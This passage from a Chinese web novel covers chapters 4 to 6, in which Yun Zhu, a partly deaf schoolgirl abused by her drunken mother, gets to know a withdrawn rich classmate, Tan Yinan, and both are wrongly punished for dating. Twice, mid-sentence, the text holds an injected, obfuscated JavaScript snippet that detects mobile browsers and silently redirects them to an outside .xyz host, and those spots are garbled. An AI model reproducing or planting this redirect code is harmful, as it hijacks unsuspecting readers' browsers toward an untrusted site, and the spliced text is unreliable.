云竹心慌了一瞬间,她知道那是苏琦回家后看到没人在家,正发火摔东西撒气呢。 王婆婆端着菜坐在编织一半的的毛垫上,筷子夹着空心菜,混黄的双眼向上瞟,没吭声,只是安抚地拍了拍云竹的背。 男生倒不是个乐意妥协的人,当场放下碗筷,五步作三步推开门,往楼道上大喊:“再扰民我就报警了! 4. Chapter 4 之后的日子里,云竹的生活照样还是一天比一天难过。 难过到什么程度呢?大概是生不如死吧,但一想到离开后王婆婆轻轻拍着她的肩膀,说,孩子别怕,你要是没饭吃就直接来婆婆家,婆婆给你做红烧排骨,给你做米酒蛋花汤。 云竹当场就红了眼睛,饶是在男生的面前,此时也憋不住眼泪,像坏掉的水龙头一样,一直往外流水。 云竹说,婆婆这样会不会太麻烦你了。 婆婆说,只要你过来陪一陪婆婆就行,年轻人想这么多干啥,好好过日子就中。 白衣黑裤的男生从姥姥和云竹聊天的只言片语琢磨了个大概,只说了句:“有人打你,就用正当防卫报警,别委屈自己妥协他人。” 云竹低头失笑不语,她总不能把自己妈妈抓了吧。 自从警戒报警的那一句喊出来,苏琦每晚回家便消停了点,从摔酒瓶扔被子踢可乐罐变成了躺在床上痛骂。 云竹渐渐在这个家……在她的视角来看,在这间房子里适应惯了,有时候感觉左耳失聪也挺好的,起码不会不经意间听到苏琦的痛骂声。 真正意义上的左耳朵不进,右耳朵也不出。 “狗孙的……谁他妈嘴贱啊还敢威胁人?仗着自己是男的就这样猖狂,几楼的?”苏琦想着前些日子发生的糟心事,右手晃着啤酒瓶,一脚踢翻床下摆着的半罐没喝完的咖啡,浓稠的褐色液体流在地板,散发着苦涩的气味。 和这个家的氛围吻合,也是苦涩的,伴随着窗外的阴雨天。 “你知不知道?听着声音是新搬来的吧,一点印象都没。”苏琦偏头看向门外问。 云竹在卧室门前低着头,去卫生间拿抹布。 “问你话呢!装什么死?”苏琦踹开卧室门,棕黄色木门顿时撞在墙壁上荡起灰尘,墙皮扑簌簌地落下。 云竹有了反应,回头,想着要不要告诉妈妈那个男生的存在,但是看样子男生挺有钱,万一妈妈冲动去砸了人家们,一方面是得罪王婆婆,另一方面是以家庭的经济条件,根本又赔不起…… “云竹!” “欸。” “你在干什么呢!” “没什么,我也不知道他是谁,可能是新来的吧。” “你上周三去哪了?去哪鬼混去了?是不是去找外面的小黄毛了?你怎么这么不检点呢?亏我养你这么大!我都没说回报呢,自己倒比亲妈活得潇洒。” ……妈妈又在按照自己的设想经过融合现实。唔,明明不是这样的,唉。 音量很大,右耳能听得见,但云竹装聋装作没听见,直直拿着抹布往苏琦的卧室里去,拂起浅黄色的衣袖,蹲下|身子擦地板上的凉咖啡。 “没有。” “你说什么?那你晚上跑哪里去了?” 云竹停下手里的活,妈妈那天晚上喝得醉醺醺的,不一定能想起来全部细节,“就在家,睡着了。” “骗鬼呢死丫头!” 云竹迷蒙地眨眨眼皮,想起来程慕上周跟她说的通知,“妈妈,这周日开学,回执单需要你签一下字。” “滚滚滚,自己签不会吗?反正这破纸学校不一定会看,都是应付的。”苏琦摆摆手,又突然想到什么,“我不送你去上学,我忙着上班呢,可没空去送你,到时候自己去,可别死在路上。” 云竹点点头,乖乖回到房间,在一片狼藉的狭小空间内找到脏兮兮的帆布包,不出意外,最外层上面出现了好几个脚印,语文教材被甩在角落,练习册七零八落地躺在地上。 这一看就是苏琦发泄后的场面。 云竹稍稍安心,起码没有甩酒瓶子,不然每次打扫卫生,还要小心翼翼清理地上的碎玻璃渣,玻璃纤维扎到手心可谓是痛不欲生。 * 红星小镇第一初级中学有一个规矩。 每次大考后,都会根据学生的成绩来分为几个班,过985、211的学生分在一个班,成为精英班;过一本二本线的学生分为火箭班;剩下的连本科线都没过的学生自然而然的,分到最差的班级。 这个规矩还是云竹上了一个月后,听隔壁班的朋友程慕说的。很可笑也很可悲,云竹上了高中后,连个说话的人都没有,她本身也是个不爱社交的人,课堂上也不积极发言。 每天要么写作业要么听课,要么就是偷偷在位置上听前后桌聊天吐槽作业和老师,或者观察人类。 是名副其实的小透明。 这次期末考试,云竹的助听器丢失,导致英语听力失分严重,总成绩下降,理所当然地被分到最差的班级。 对此,苏琦的恶劣态度并没有有所缓和,反而变本加厉:“谁让你把助听器弄丢的?考到差班不亏!长长记性!最好高考也考成这个样子,你就赶紧滚。” 这天开学后,云竹梦游似的走完开学流程,坐在程慕旁边。自习课上发呆,险些被巡逻的政教处的老师们逮住。这些老师在学生眼里清一色是眼中钉,喜欢用手敲后门玻璃发出响声来试探学生是否学习。 从小到大,她一直搞不懂其中的逻辑关系。学生进入状态学习,有人故意发出声音打扰,又不是人人像她一样是聋子,学习被噪音打扰肯定会引起注意,为什么最普遍的条件反射会归于学生不好好学习呢? 云竹叹了口气,同桌程慕眯起眼睛,短发圆脸显得十分狡黠。尤其是程慕这样一眯眼,云竹倒觉得她像一只可爱金毛幼犬。 “告诉你一个好消息。”程慕神秘兮兮,趴在她右耳边说道。 云竹眼也不眨,“什么消息?” “当然是,你很快有新朋友啦!哈哈哈哈哈哈哈哈哈哈哈哈!!”下课时间,程慕应当地笑出声,反正老师管不着,“我们这个班虽然学习成绩没有火箭班和精英班好吧,但是大家人品都挺不错的。知道你来,都很欢迎你呢!” 程慕不愧是班里的孩子王,几乎能给每个同学打成一片,人缘好得不得了。刚说完,不少附近的同学应和。 “对呀对呀,欢迎云竹同学呢!话说回来,这个姓氏真好听啊!” “看起来文文静静的。” 欢迎,我吗? 云竹内心忐忑,前所未有的忐忑。 这种对她来说一点也不正常的感觉无限放大,在这被好多陌生的同学的目光所注视的感觉放大,连身上的每一个毛孔都在叫嚣,在抗拒。 像是在日日夜夜埋在壳子里的蜗牛,突然间被人拽出到地面上。 无所适从,无所容忍。 怎么会这样……? 不要盯着我看…… 云竹紧紧抓着黑色校服裤子,身子往后倾斜,只得嘴里硬生生憋出两三个字:“谢、谢谢……” “哈哈哈哈她有点害羞,大家慢慢来嘛!来日方长来日方长!”程慕拍拍她的腰背,示意放松。 这下话题疏散,不少人开始一搭没搭地聊着,从什么时候放假到谁作业写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981396|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了借过来抄一抄,再到还有多长时间吃午饭,什么都能聊,什么话题都能插|上一句嘴。 云竹在旁边静静地听着,突然感觉也挺好的,身边有人陪,也有人陪她一起度过高中艰苦的日子。 指尖捏紧中性按动笔,笔尖在演草纸上作响。 许多人毕业后冠上“成年人”的名号,在此之前,也是个未谙世事的小孩。 大家的青春就是这么美好,如明朗晴春的一片草叶,清明露珠倒映破晓时分的旭阳。 如果用一种颜色来形容年少时代, 那想必是嫩绿色的,带着一点明亮的浅金色。 ……如果她是一个正常人就好了,是听力完全健康的正常人就好了。 身旁的同学话题转换的极快:“他还没来啊?” “谁?” “你说谁?大少爷呗,就他那个臭脾气,要不是家里有点钱,直接就让学校辞退了。” “哦哦哦哦谭以南啊,是他,这都多少天没来了,差点忘了这人。” “……我靠闭嘴闭嘴小点声,谭以南好像来了!刚刚在靠窗的走廊上看到他了!” 谭以南? 正在写数学题的云竹动作一顿。 她疯狂的搜寻在脑海中记忆,试图找到和谭以南这个名字相关的人物,可惜的是,自有记忆的那天开始,好像生活里就压根没有这号人。 为什么这么熟悉?可能是偶尔听别人提起过吧。 谭以南,这个名字,很好听。 人长得也很好看吧…… 云竹的想象力比窗外的梧桐树还要奋力生长,冥冥间,她脑海中呈现一张熟悉却又带点陌生感的俊秀脸。 是那个男生。 上周三躲避妈妈醉酒后回来打骂她,特意求助王婆婆讨饭吃,开门遇到的男生。 那天聊了一下午,结果连名字也不知道叫什么。 云竹内心苦笑片刻,不知道该说是大意了还是真的没有缘分。 她停笔,看着程慕和朋友们聊完天,在结束此时此刻的聊天话题后戳了戳她。 “怎么啦云竹?”程慕笑眯眯地说。 云竹双手搬着凳子朝同桌身边挪了挪,嫩白的面容泛起纠结的神色,扭头看看周围,确认没人注意这边的动静后,磕磕绊绊说道:“程慕,你……你知道谭以南是谁吗?” “谭以南啊,这位可是出了名的人物,中考成绩第一考进这个学校,原先上学期学习挺好的,但下学期不知道发什么疯,不学了,次次交白卷。”程慕不愧是班里小灵通,想了想,补充道,“脾气还差。” 这人这么糟糕? 云竹蹙起眉毛。 “那他有什么优点吗?” “优点啊……啊还真有,要不是他长期逃学逃课,还真忘了这人长什么样子。” 云竹耐心地听着,第一次对这个叫谭以南的男生起了点兴趣。 程慕接着说:“有钱。他爸是搞房地产的,而且长得好看,白白净净的,一看就是特别讨人喜欢的模样,但可惜这个脾气,没人敢表白。” 云竹:“那他长什么样子?” “这个……怎么说呢?”程慕尽力搜刮肚子里毕生积存的词汇量,倒吸一口气,目光游走在教室各个角落,如同在一些蛛丝马迹中找到谭以南生活的痕迹。 下一秒。 程慕的眼睛亮起来,拍打身边的云竹,“哎哎!这不人来了,你自己看呗!” 5. Chapter 5 普通班的位置位于教学楼一楼,走廊外的学校园地种了满满一排梧桐树。 夏意盎然,明绿缀空。 暖光从绿意融融的树冠倾泻而下,空气气流中弥漫着旷人心神的青草气息。学校走廊铺满青花石地砖,映射白光。 男生依旧是黑裤,但上身换了一中传统的深蓝色校服,饶是这一般般审美选出来的校服校裤,也抵挡不住来人经过时的冲击美感。 眼神疏离,气质淡漠。 他衣袖挽起露出一小节有力手臂,右手手腕缠上纱布,左手价值不菲的手表在白天反射光线。 身边人声沸沸扬扬,风吹绿叶,万世清凉。 云竹独自顿住呼吸。 是、是他…… 居然是同一个人! 云竹几乎是立即站起身,膝盖一下子撞到桌兜下面的铁板上,不禁吃痛,膝盖处泛起一片红晕。她这才意识到动静有点大了,安静地坐下,视线粘在谭以南向前的背影。 好巧不巧,谭以南正好坐在她的对角线上。 最远的距离。 云竹在第一排最靠近讲桌的那个位置,对角线最远的距离正是教室后门的靠窗的座位。 “来了啊,你说他长得俊不?我给你说啊,他家可是给学校捐了一栋楼,连校长那个老瘪三都对他恭恭敬敬的,跟太监见到皇帝一样,啧啧啧……”程慕说的形容活灵活现,小嘴巴不断叭叭叭,眉飞色舞。 云竹也认真听着,她极少婉拒同学之间的主动性干涉。 后桌伸出一只手,手里的透明软尺敲打了一下程慕,后者扭过头,满脸不耐烦,“干嘛啊?没看到我跟云竹说话吗?” “嘿呀,就她叫云竹啊,果然人如其名。”笑呵呵的男生扶了下眼镜,“话说我们真有缘分,天赐的良缘呢,有缘人终会相见。而且啊你姓云我姓海,有一首歌就叫《云与海》呢!” 程慕无语地摆摆手:“差不多得了,强行扯缘分呢。你也不看看人家云竹愿不愿意搭理你。” 眼镜男依旧笑呵呵:“是吗云竹?等我中午翻墙出去,请你们喝冰红茶。” 他们几个人眼神全部转在云竹身上。 好像被点名了。 云竹迫不及防回神,原先准备偷偷溜走,但话题的风口最终还是落在她身上,这让人走也不好,回答也不好,尤其是面对程慕和班里的学生。 刚刚他们聊的什么,云竹能大致听见,但具体聊的什么内容,助听器到现在也没有找到,于是她硬着头皮先打了个招呼:“你、你好……” 程慕知道她的情况,最后的谈论还是等老师来班后才结束。云竹坐在这个班后,她不再是小透明般的存在,也不是默默潜水在班里观察人类。被好朋友程慕从蜗牛壳里拉出来后,她发觉,原来试着敞开心扉,外面的世界还是不一样的。 起初硬着头皮认识新同学,再从新同学这个新身份在长久的日子里转变为朋友。 认识了那个戴眼镜的男生,叫海湖,介绍自己时挺搞笑的,自称班里神棍,塔|罗牌占卜、八|字算命等等会些皮毛;还有前桌王荼淑,是个学习很好的女生…… 云竹灰暗充满裂痕的人生是一面镜子,慢慢涂上了透明胶水,碎片不会划伤手指,但划破的皮肤却能带来痛感,这让她体验到活着是一种什么感觉。但这些鲜活的朋友,会为她带上手套,帮助慢慢拼好这个碎裂的镜子。 她扭头看向窗外,燕群飞过天际。 认识了好多朋友…… 还有一个特别幸运的, 她再次遇到了那个男的,还知道了对方的名字,怪好听的,叫谭以南。 云竹脑海里想起海湖说的,有缘人终会相见。 那么,这算不算有缘? * 换了新班级,宿舍也顺势大换血了一遍。曾经的室友在端着脸盆的云竹面前依依不舍地告别,唯独忽略了她。云竹也不气馁,因为根本没有多少交情。 …… 但是有点失落的。 相处时间这么久,连最后一声告别都没有。 云竹一个人转身,默默地抱起被褥,纤细的胳膊使出劲,用力将被子角盖在肩膀上不掉下来,不然垂落在地上脏了还要洗。 夏天本就热,走廊密不透风,湿热的空气粘在皮肤上,热得出汗,乌黑的发丝紧贴脸颊。整个人仿佛处于蒸笼中。 她走到新寝室,这个新寝室在学生们的口中成为“风水宝地”,位置在一楼,离热水房还近,不用累死累活地爬楼梯,也不用去抢吹风机。 云竹用衣袖沾了沾脸上流的汗水,推开门,程慕在寝室里吹空调,从下铺噔噔噔窜出来接过云竹手里的被褥。 “欢迎回来!”程慕还嘟起嘴吹吹口哨。 云竹一下子笑了,放眼望去,其他六个室友全是在教室里见过面的,有的也眼熟的很。来到新寝室后和室友们打了个照面,就忙各自的事情。 被褥成绩好,被子叠成豆腐状,云竹去洗手间洗了把脸,正视自己的样貌。她身材瘦小,这个年纪正是长身体的最佳时期,但苏琦并不宠爱这个女儿,能有一口吃的就谢天谢地。长期造成的营养不良导致她肤色偏白,小脸还是蜡黄色,一副没长开的模样。 都说女大十八变,云竹也确实越变越好看,典型的江南水乡美人胚子。但身高仅仅一米六,在优越不愁吃穿的孩子们面前,属实偏矮。 矮也是有好处的,个子高容易被妈妈用酒瓶砸到。矮个子身体灵活,躲得更快一些。云竹这样想。 但很快云竹便意识到个子矮的劣势了。 那是又一次周三放学,按照常理来看,云竹理应是躲在外面,防着苏琦回家耍酒疯。但好在开学了,云竹可以安安分分待在寝室睡觉,加上刮大风,学校停电,政教处广播通知不上晚自习,全班欢呼。 一楼教室窗外全是人头攒动的人流,奔涌向寝室楼。红星中学住宿的学生偏多,很少有几个走读生早早离校。 天黑的晚,云竹趁着天还亮着,早早返回寝室,用盆抱着脏衣服和贴身衣物去手洗。寝室没有热水,拧开水龙头时,一股冰流从手上淌过,云竹眼睛都没有眨一下。认认真真洗完后,她将洗干净的校服挂到衣裳架子上,再挑高一点。 冷风过境,势大如猛。 校服下摆被一阵冷风吹到窗户边,可能是云竹力气小,没用夹子夹好肩领,这一吹整件校服都吹出窗外。 云竹急欲伸手去抓,但事与愿违,校服早早被冷风吹出了窗外。好在是一楼,窗户外面能看到寝室楼后方的杂草丛。 那里学校视为废弃场地,连个乒乓球台也没有,红色地砖缝隙里野草遍布,不知名野花野草达到半个人高,是不少早恋男女的私会场地。 眼睁睁看着校服歪歪斜斜地挂在一颗紫薇树上,一簇簇红色花朵在绿叶的衬托下显得越发晃眼。偏偏有个更为显眼的蓝色校服挂在枝头,风吹摇摇晃晃,就是掉不下来。 云竹抬起脚步,一路小跑,穿过连廊,衣摆随风飘起,气流灌进衣袖,长发随着步伐一颤一颤地颠簸。 那是一片荒凉的野地,地砖密密麻麻长了青绿色的苔藓,云竹停下脚步,扶着膝盖喘气,空气中隐隐约约带着泥土味,还有又闷又潮湿的水汽。 前几天下大暴雨,加上夏季本就炎热多雨,地面干的慢。云竹一脚踩在野草上,草叶沾的露水和泥土通通蹭到了鞋边。 紫薇树树干高大,底部盘根错节,抬头看去,枝繁叶茂。云竹踮起脚尖伸出手,差一点勾到校服衣角,再踮脚踮得狠一点,照样还是勾不到,跳起来同样如此。 她犯了难,环顾四周,都是些细软绵绵的细枝花草,根本没有什么用处。 能不能拿到洗干净的校服是目前的难题。 云竹思忖片刻,准备回寝室找程慕帮忙想想办法,树太高了,说不定在寝室借一下扫把可以够下来。 正在她转身回去的那个瞬间,不怎么显眼的白衬衫闯入眼帘,位于杂草堆边,如果不是在这个角度看到漆黑头发的后脑勺,还以为是热晕了遇到灵异事件。 云竹眨眨眼。 那是……好像是一个人? 怎么会有人蹲在那里? 云竹蹲下脚步,脸色煞白,脑海中一下子浮现出通过家里关系手段进入红星中学的混子,成天打架喝酒。 现在这情况,是不是恰巧碰到他抽烟了?要不要当做没看见赶紧跑? 被发现了说不定还会被勒索一笔钱,但是她的钱在家里的小金猪存钱罐里,全部被妈妈偷走了,身上一分钱也没有…… 红星中学的男女生寝室是并排的两栋楼,成直线状。两栋寝室楼后方的荒地是连成一片的,校园远处的铁栅栏高耸,往年发生过不少学生夜间翻墙出逃现象。加强栅栏高度后,这类情况变减少了许多,但是逐渐成为一些混混头子们的“秘密基地”也不是没有可能。 云竹不禁蹙眉,回头看一眼出口,恰好位于男女生寝室楼之间,要先出去必须经过对方附近。她再次犯了难,犹豫不决,被发现了后果不堪设想。就这样,脑子里时不时冒出几个不切实际的黑色泡泡,浮上天空,被风吹破。 抱着赌一赌的心态,云竹放松脚步,抬脚便往出口的方向溜去,整个人弯下腰小心翼翼地前行,她凭感觉尽力放柔脚步,但因为左耳听力受损,再细微的声音仍然觉察不到,咯吱咯吱的枯草叶顿时引起了身后人的注意。 “谁?” 有人发现她。 云竹吓得一激灵,双手握拳,不断摩挲着掌纹,险些摔倒在地。 “出来。” 躲在草堆里的云竹不敢贸然出声,右手捂嘴,双眼瞪着地面。 怎么办怎么办? 她身上一点钱都没有带。 这种情况大声呼救,告诉老师,恐怕会被报复地更厉害吧? 云竹思绪无限发散,她上初中时便听说有些恶劣的男生还会用烟头烫人衣服,皮肤被烧无非也流血留疤,自己忍着也就是了,但衣服上烧个破洞,会被妈妈发现打骂的。 男生依然不依不饶,稳重的脚步踩着碎草声音不轻不重地落入云竹耳畔。 “谁在哪里?别逼我把你揪出来。” 威胁声越来越近。 云竹悄悄红了眼眶,被揪出来打一顿骂一顿都好,衣服脏了她大不了再洗一次,等到周五放学回到家妈妈也不会发现,但千万别要钱啊。 她重重地咬住唇,眼泪从眼眶中流出来,沾湿了乌黑纤长的睫毛,但还是用衣袖擦了擦。如果被霸凌,那也是她的命吧,反正她这一生从来没有体验过幸福。 任凭命运使然,云竹泄了气,态度好一点会不会放了她? “对不起对不起饶了我吧,我身上没钱,家里很穷,我只是路过,连你长什么样我都没看到,我的校服被风吹到这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981397|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我只是……咳咳咳我只是、只是跑过来捡一下……” 云竹低头闭紧了眼,双手合十,憋了一大口气全部说出去,说完的瞬间嘴巴还有点麻麻的,她从小就这样,过度紧张时说话毫无头绪,像梦游似的,梦到什么说什么。 总之,极强的求生欲迫使她什么都做了,说太快,呼吸不稳,甚至喘不过来气。 人的本能是生存,只要能活下来她什么都愿意做。 对面忽然没了回应。 云竹萌生出疑惑,隐隐约约感到近在咫尺的人朝她这里走了几步。 “……被口水呛到连话都说不完整的,我还是第一次见到。”对方站在她面前不动。 身边如临大敌的气势弱下去,云竹悄悄睁开一只眼,看到白绿交间的球鞋,一看价值不菲。 云竹首先是稍稍安了心。 这个男同学既然能穿这么好的球鞋,说明他家境优越,不缺钱。 既然不缺钱,那就不会向她伸出敲诈勒索的手。 好险好险…… 接着,她完全睁开眼,对方自然垂落在校服下摆的手里拎着塑料袋,透明塑料袋里装着几副药盒,隐隐约约能看清上面写得极其绕口复杂的药名。 抬起头,水光盈盈的黑亮眼眸倒映出几分熟悉的脸庞,校服松松垮垮挂在身上,显露出白皙纤瘦的身形,少年处在发育期的肩胛骨敞开,脖子上渗出细密的汗水。 这不是…… 这不是……? “谭、谭以南?” 云竹终于叫出了他的名字。 这算是,两个人之间第一次正式的见面。 第一次有名有姓,知道对方姓名的见面。 “你?”谭以南显然对她没印象。 “我叫云竹,同班同学。” 话刚说完,云竹也觉得白说了。根据程慕目前已知的消息,谭以南是八百年都不去学校正经上课的人,班里老同学的名字记不记得这挺难说,但怎么可能有闲工夫把她一个刚来的学生记住? “云竹。”谭以南扶了下白色棒球帽,盯着她的脸,轻轻重复了句,“云竹……” 云竹见他嘀嘀咕咕什么,虽然左耳听不清,以为是刚刚说话声音小,谭以南没听见,又重复了句:“云竹,云朵的云,竹叶的竹。” “没问你名字,你来这里干什么?” “捡校服。” 谭以南没回应,反倒是轻飘飘地巡望四周,又注视云竹,“这次眼神没有穿帮,撒谎水平有进步。” “……我没骗你。”云竹马上想起初遇时的荒唐场景,不自禁跺跺脚,又不习惯把话说太重,“我刚洗完的衣服,晾衣夹没夹好,被风刮到树上了,就在你头顶。”云竹向上看。 谁知谭以南连看都没看一眼,直接大步往回去的路上走去。 云竹见状,想起谭以南的身高估计是全班里数一数二的,找程慕去拿扫把也不一定能够到,还不如就近原则求助。于是她深呼吸,“谭以南,你能帮我把校服够下来吗?” 这是她第一次在学校光明正大求助人。 上学期在外班时,云竹借用一下周围同学的学习用品不好意思开口,潜意识认为太过打扰,况且也不太熟,每次开口,询问的字眼就像是被502胶水粘在喉咙眼里似的,连个字音都发不出来。 更为担忧的是,被拒绝后的场景,想一想就让人难以忘怀。 开学后没考好转入普通班,结识了程慕的社交圈,比半年前的独来独往好了不是一星半点,但长久岁月里积淀打磨的性格已经深深刻在骨髓。每次开口求助他人时,云竹总会思量许久。 但这次不一样。 云竹深呼吸。 不远处的谭以南顿住脚步。 偏头,脚步方向随之偏转。 云竹松了一口气。 幸好没有拒绝。 谭以南将藏在身后沉甸甸的塑料袋随手放在一边,瞟了一眼挂在紫薇树上随风摇曳的校服,刚要撸起的衣袖又放下,五步作三步快步前走,他个头高,轻轻一跃,右手穿过紫薇花枝,就将没晾干的校服拽在手里。 剩下满簇花枝摇曳,暴风雨后的花瓣经过风雨摧残,再被谭以南这么一拽,大片大片的花瓣扑簌簌地飘下来。 “谢谢你。”云竹抖了抖校服上的碎枝叶子,还有一些花瓣。 经过这次举动,云竹打心里认为两个人之间的关系也不是那么十分生疏,恰巧她看到谭以南夏日里却穿着整整齐齐的长袖,便问道,“你是紫外线过敏吗?” “不是,别问。” 不容置疑的回答。云竹小声地“哦”了一下没再吭声。 谭以南不想说,也没必要强迫他。 云竹这样想,脚步跟随谭以南一起走向出口。 “扯平了,我帮你拿到校服,那么今天在这里无论你看到什么,都不能对第三个人讲。”谭以南拾起药品,又摆出那一副不容别人靠近的臭脸,瞄了一眼云竹,将透明塑料袋显出的药品名字遮好。 生病了吗? 那怪不得天天请假。 云竹点点头表示同意。谭以南不让说,那就不说,她也不是那种喜欢在别人背后嚼舌根的人,况且她也没人说。别人的隐私就是隐私, 谭以南突然提起:“好幼稚。” 云竹没反应过来,“什么?” 谭以南:“你的名字。” 6. Chapter 6 隔日云竹回到教室,身边一片鬼哭狼嚎,可谓是昨日被谭以南凶得不成样子,今天被后桌哀嚎得右耳也快失聪。 程慕用笔戳一戳海湖,拉长了声音:“别哭了,我去,你哭也装装样子啊,一点眼泪都没有,实在不行去实验室拿几片洋葱,真服了!” 神棍海湖揉揉并不存在的眼泪:“我只是怜惜自己也不行啊?昨天给你们保证去买冰红茶,出新品了都!返校之前我还看到出了什么热带水果味,翻墙出去被地中海抓了个正着!” 地中海? 这怕不是什么老师的诨号吧? 云竹轻笑一下,却被哇哇大叫的海湖捕捉在眼里,他假哭地更使劲,发疯了,忘情了,“啊云竹妹妹你笑什么?我这都是为了我们康师傅忠实粉丝后援会啊!谁知道地中海这个老登在寝室后门蹲守了一天了,比做贼还要专业呢……” 云竹停下写作业的动作,回过头,一脸茫然,“你说什么?” 海湖一脸委屈:“我被逮捕了。” 云竹:“不是这一句。” 海湖:“你果然不把我放在心上。” 程慕也听不下去了,反手扇了海湖一下。 海湖:“好吧我告诉你们,我的计划严丝合缝,按道理来说绝对绝对绝对,乘百分之一百的概率都不可能出错!但是咱们高一年级的教导主任,就那个地中海发型,说话特搞笑,但做事很人机死板的那个,他蹲在寝室后门那边录视频拍照,我刚买完新口味的冰红茶翻墙进学校,人家就在下面蹲着呢啊啊啊!” 在寝室后门蹲守着…… 云竹想起男女生的寝室后门都在同一个大方向上,也不知道地中海老师蹲在哪个路口,可能是抓早恋的,也有可能是来抓翻墙出校的学生。 但是—— 云竹和谭以南两个人昨天刚好在那里。 谭以南明确说过,他带药的事情绝对不可以让第三个人知道。 地中海老师会录视频拍照,守株待兔,极有可能发现。饶是云竹没有泄露出去,但到时候有理说不清。 心里暗暗泛起一阵恐慌,云竹又追问海湖:“那个地中海……政教处的老师,什么时候蹲守的?” “啊,这我怎么知道?我有个哥们说,他在年级办写检讨,一直没发现地中海,估计蹲了一整天,抓到了不少违纪旷课的学生,这收获满满啊。”海湖啧啧两声。 红星中学的校规严厉,老师们通常和蔼可亲,抓到违纪的学生不通报,最多叫到办公室批评几句,或者写个检讨就过去了。但年级办的老师们可谓是风雷历行,从不听解释,一抓抓十几个现行,查人数查班级,还要查有没有谎报。 云竹额头上开始冒汗,她扭过头,谭以南今天又没来学。 这时广播开始日复一日的通报声响起: “……” “高一一班,张爽翻墙私自离校逃课,由家长带回去反思一周。” “高一八班,胡一在寝室后院抽烟,由家长带回去反思一周。” 班里所有人倒吸一口凉气,甚至还有学生当场说出来:“什么时候惩罚变得这么严重了?以前不都是跑步、罚值日和写一千字检讨吗?” 广播声还在继续:“高一九班林芽,高一二班王帅牧放学后在寝室后院早恋被抓,两人都被家长带回去反思一周。” “高一一班,海湖放学后翻墙出去买饮料再翻墙进来,还给巡查老师递饮料试图贿赂,由家长带回去反思一周。” 班里顿时笑声一片,说不愧是神棍抽象哥海湖,连递给老师饮料这件事都能面不改色做出来。 唯独云竹内心紧张地要命。 广播通报声如催命丧钟,“高一一班云竹,高一一班谭以南,两人放学后在寝室后门早恋,双方由家长带回去反思一周。” 云竹停滞了一瞬,大脑空白。 早、早恋? 怎么是、为什么是早恋? 程慕则是在旁边瞪大了双眼:“啊??云竹你和谭以南认识??” “什么时候的事情啊?你们谈了?多长时间?怎么不告诉我们啊?” “……” 周围的议论声如隔着一层透明玻璃真空罩,云竹原地不动,一脸茫然,迷迷蒙蒙地站起身,迷迷瞪瞪的去年级办。 怎么被记成早恋了? 不过这样也好,没有人发现谭以南生病的事情。 ……不对,一点也不好。 他也跟着受罚了。 前前后后忙碌了十分钟,先是在学生名单上扣分,又被班主任叫到办公室询问早恋情况,老师开始搬起那一套,劝说早恋的危害影响学习,劝分手,不分就让家长强制分。还在云竹认错态度良好,就算是解释了真相的起因经过,抹去了谭以南带药的事实,班主任也仅仅是叹了一口气。 “我知道你这孩子脾性,乖得很,老师也不相信你会早恋,但事实上通报名单是这样写的,你们也确实待在一起过,谁不是从这个年纪过来的?老师也是从这个初心萌动的年纪过来的,比你们所有人都清楚。” “既然这样,老师也要教育教育你,谭以南不说了,长期请假和回家反思一周没多大区别。反而是你,正在上高中,回家一周后,落下的课怎么办?这样,老师已经按照校规通知你家长了,但是你妈妈说不来,让你自己走回家。” 自己走回家…… 云竹回头看看窗外,烈日当头,三十多摄氏度的天气不容小觑。 离家也不是特别近,一路走回家在半路上会低血糖晕倒吗?回到家后妈妈是不是又该打她了?还是先去王婆婆家里躲一躲,但躲起来总归不是长久之计,躲得了一时,躲不了一世。云竹内心的两个阵营的小人又开始作祟,哄着她的心脏往哪里偏移。 答应了老师,云竹收拾好在家学习要用的课本和学习资料,背上帆布包——云竹观察了周围同学好久,确认没有人的注意力放在她这里时,才将破旧的帆布包从桌兜里翻出来,装进各种课本资料。 和其他学生的最新款多样式书包相比,她的小书包像是从某条街上,隔了许多年的在垃圾桶里翻找出来的。 起先小学初中,高一上学期时,云竹总是找各种借口最后一个离校,问就是说父母很忙,晚点才能到。实际上是害怕背着脏兮兮的帆布包出去,被人指指点点。 不是说这年头有人连书包都买不起,而是在妈妈的打压教育下,云竹的思维开始和她同样畸形化,觉得买书包,花钱花在不必要的东西上,对不起父母辛辛苦苦转来的钱。 但十几岁的青春年纪,学校班级里暗暗盛行的攀比之风势不可挡。 云竹被骂过好几次乡巴佬,现在想来,还是心中会有根针一样,直直往心脏最柔软的部分垂直扎下去,钻心的疼痛感翻着酸涩,蔓延四肢百骸。 到了新学期新气象,云竹这种骨子里打磨来的自卑感也淡了几分。她整理好书包,向教室外,临走前还看了一眼谭以南的书桌。 各种空白卷子和粉红色回执单交叠,置于课桌之上,桌兜里放了好几卷卫生纸,数量之多让人捉摸不透。 但更吸引人注意的是发的连翻都没有翻过的新教材,云竹甚至怀疑谭以南是不是从刚开学到现在连名字都没有写过课本上。 他自从那天后就没再来过学校。 云竹脑海中闪过在王婆婆家吃的面条,又闪过两个人一起择空心菜聊的无聊话题。 “你来这里是干什么?” “……体验生活。” 体验生活,这个回答挺有趣的。 这么说来,他不是本地人。 云竹莫名对这个男生由一个小点,衍生出由线到面的疑问,她实在是太好奇谭以南了,明明两个人家境大相径庭,除了学习之外别的没有共同话题,可谭以南身上无处不在的神秘感却吸引住云竹的好奇。 有了妈妈理想中的生活,不缺钱。 